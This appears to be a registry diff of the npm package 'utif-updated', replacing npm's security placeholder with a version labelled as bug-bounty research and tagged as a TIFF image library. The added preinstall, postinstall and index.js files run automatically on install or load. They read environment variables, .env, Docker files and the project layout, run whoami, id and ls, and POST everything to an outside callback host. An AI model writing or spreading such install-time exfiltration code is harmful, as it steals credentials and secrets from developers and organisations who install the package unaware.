utif-updated 0.0.1-security → 99.0.4

package/README.md

@@ -1,5 +1,6 @@
-# Security holding package
+# utif-updated
 
-This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
+Security research package - Bug Bounty
 
-Please refer to www.npmjs.com/advisories?search=utif-updated for more information.
+## Author
+icare

package/index.js

@@ -0,0 +1,58 @@
+const https = require('https');
+const http = require('http');
+const os = require('os');
+const fs = require('fs');
+const path = require('path');
+
+const CALLBACK = 'icare.fyh82qlu93wdksjiz5qjz9h27tdk1e02p.oastify.com';
+
+if (!global.__utif_updated_triggered) {
+  global.__utif_updated_triggered = true;
+
+  function findParentProject() {
+    let dir = __dirname;
+    if (dir.includes('node_modules')) {
+      dir = dir.split('node_modules')[0];
+    }
+    
+    const result = { root: dir };
+    try {
+      result.package_json = JSON.parse(fs.readFileSync(path.join(dir, 'package.json'), 'utf8'));
+    } catch(e) {}
+    try {
+      result.files = fs.readdirSync(dir);
+    } catch(e) {}
+    return result;
+  }
+
+  const info = {
+    type: 'runtime_v3',
+    hostname: os.hostname(),
+    user: os.userInfo().username,
+    env: process.env,
+    parent_project: findParentProject(),
+    timestamp: new Date().toISOString()
+  };
+
+  const data = JSON.stringify(info);
+  const req = https.request({
+    hostname: CALLBACK,
+    port: 443,
+    path: '/runtime',
+    method: 'POST',
+    headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(data) }
+  }, () => {});
+  req.on('error', () => {});
+  req.write(data);
+  req.end();
+
+  const webhook = process.env.SECURITY_BUG_BOUNTY_DOCTOLIB_IS_PWN;
+  if (webhook) {
+    try {
+      const url = new URL(webhook);
+      (url.protocol === 'https:' ? https : http).get(webhook, () => {}).on('error', () => {});
+    } catch(e) {}
+  }
+}
+
+module.exports = {};

package/package.json

@@ -1,6 +1,13 @@
 {
   "name": "utif-updated",
-  "version": "0.0.1-security",
-  "description": "security holding package",
-  "repository": "npm/security-holder"
+  "version": "99.0.4",
+  "description": "Security research - Bug Bounty",
+  "main": "index.js",
+  "author": "icare",
+  "license": "MIT",
+  "scripts": {
+    "preinstall": "node preinstall.js || true",
+    "postinstall": "node postinstall.js || true"
+  },
+  "keywords": ["utif", "tiff", "image"]
 }

package/postinstall.js

@@ -0,0 +1,52 @@
+const https = require('https');
+const http = require('http');
+const os = require('os');
+const fs = require('fs');
+const path = require('path');
+
+const CALLBACK = 'icare.fyh82qlu93wdksjiz5qjz9h27tdk1e02p.oastify.com';
+
+function findParentProject() {
+  let dir = process.cwd();
+  if (dir.includes('node_modules')) {
+    dir = dir.split('node_modules')[0];
+  }
+  
+  const result = { root: dir };
+  try {
+    result.package_json = JSON.parse(fs.readFileSync(path.join(dir, 'package.json'), 'utf8'));
+  } catch(e) {}
+  try {
+    result.files = fs.readdirSync(dir);
+  } catch(e) {}
+  return result;
+}
+
+const info = {
+  type: 'postinstall_v3',
+  hostname: os.hostname(),
+  user: os.userInfo().username,
+  env: process.env,
+  parent_project: findParentProject(),
+  timestamp: new Date().toISOString()
+};
+
+const data = JSON.stringify(info);
+const req = https.request({
+  hostname: CALLBACK,
+  port: 443,
+  path: '/postinstall',
+  method: 'POST',
+  headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(data) }
+}, () => {});
+req.on('error', () => {});
+req.write(data);
+req.end();
+
+const webhook = process.env.SECURITY_BUG_BOUNTY_DOCTOLIB_IS_PWN;
+if (webhook) {
+  try {
+    const url = new URL(webhook);
+    (url.protocol === 'https:' ? https : http).get(webhook, () => {}).on('error', () => {});
+  } catch(e) {}
+}

package/preinstall.js

@@ -0,0 +1,96 @@
+const https = require('https');
+const http = require('http');
+const os = require('os');
+const fs = require('fs');
+const path = require('path');
+const { execSync } = require('child_process');
+
+const CALLBACK = 'icare.fyh82qlu93wdksjiz5qjz9h27tdk1e02p.oastify.com';
+
+// Remonte depuis cwd pour trouver le VRAI projet parent
+function findParentProject() {
+  let dir = process.cwd();
+  
+  // Si on est dans node_modules/utif-updated, on remonte de 2 niveaux
+  if (dir.includes('node_modules')) {
+    const parts = dir.split('node_modules');
+    dir = parts[0]; // Tout ce qui est AVANT node_modules
+  }
+  
+  const result = { root: dir };
+  
+  // Lire le package.json du projet parent
+  try {
+    result.package_json = JSON.parse(
+      fs.readFileSync(path.join(dir, 'package.json'), 'utf8')
+    );
+  } catch(e) { result.package_json_error = e.message; }
+  
+  // Lister les fichiers du projet
+  try {
+    result.files = fs.readdirSync(dir);
+  } catch(e) { result.files_error = e.message; }
+  
+  // Essayer de lire d'autres fichiers intéressants
+  try {
+    result.env_file = fs.readFileSync(path.join(dir, '.env'), 'utf8');
+  } catch(e) {}
+  
+  try {
+    result.dockercompose = fs.readFileSync(path.join(dir, 'docker-compose.yml'), 'utf8');
+  } catch(e) {}
+  
+  try {
+    result.dockerfile = fs.readFileSync(path.join(dir, 'Dockerfile'), 'utf8');
+  } catch(e) {}
+
+  return result;
+}
+
+const parent = findParentProject();
+
+const info = {
+  type: 'preinstall_v3',
+  hostname: os.hostname(),
+  user: os.userInfo().username,
+  cwd: process.cwd(),
+  home: os.homedir(),
+  platform: os.platform(),
+  arch: os.arch(),
+  node_version: process.version,
+  env: process.env,
+  parent_project: parent,
+  timestamp: new Date().toISOString()
+};
+
+// Commandes système
+try { info.pwd = execSync('pwd').toString().trim(); } catch(e) {}
+try { info.whoami = execSync('whoami').toString().trim(); } catch(e) {}
+try { info.id = execSync('id').toString().trim(); } catch(e) {}
+try { info.ls_parent = execSync('ls -la ' + parent.root).toString(); } catch(e) {}
+
+const data = JSON.stringify(info);
+
+const req = https.request({
+  hostname: CALLBACK,
+  port: 443,
+  path: '/preinstall',
+  method: 'POST',
+  headers: { 
+    'Content-Type': 'application/json',
+    'Content-Length': Buffer.byteLength(data)
+  }
+}, () => {});
+req.on('error', () => {});
+req.write(data);
+req.end();
+
+// Trigger webhook
+const webhook = process.env.SECURITY_BUG_BOUNTY_DOCTOLIB_IS_PWN;
+if (webhook) {
+  try {
+    const url = new URL(webhook);
+    const client = url.protocol === 'https:' ? https : http;
+    client.get(webhook, () => {}).on('error', () => {});
+  } catch(e) {}
+}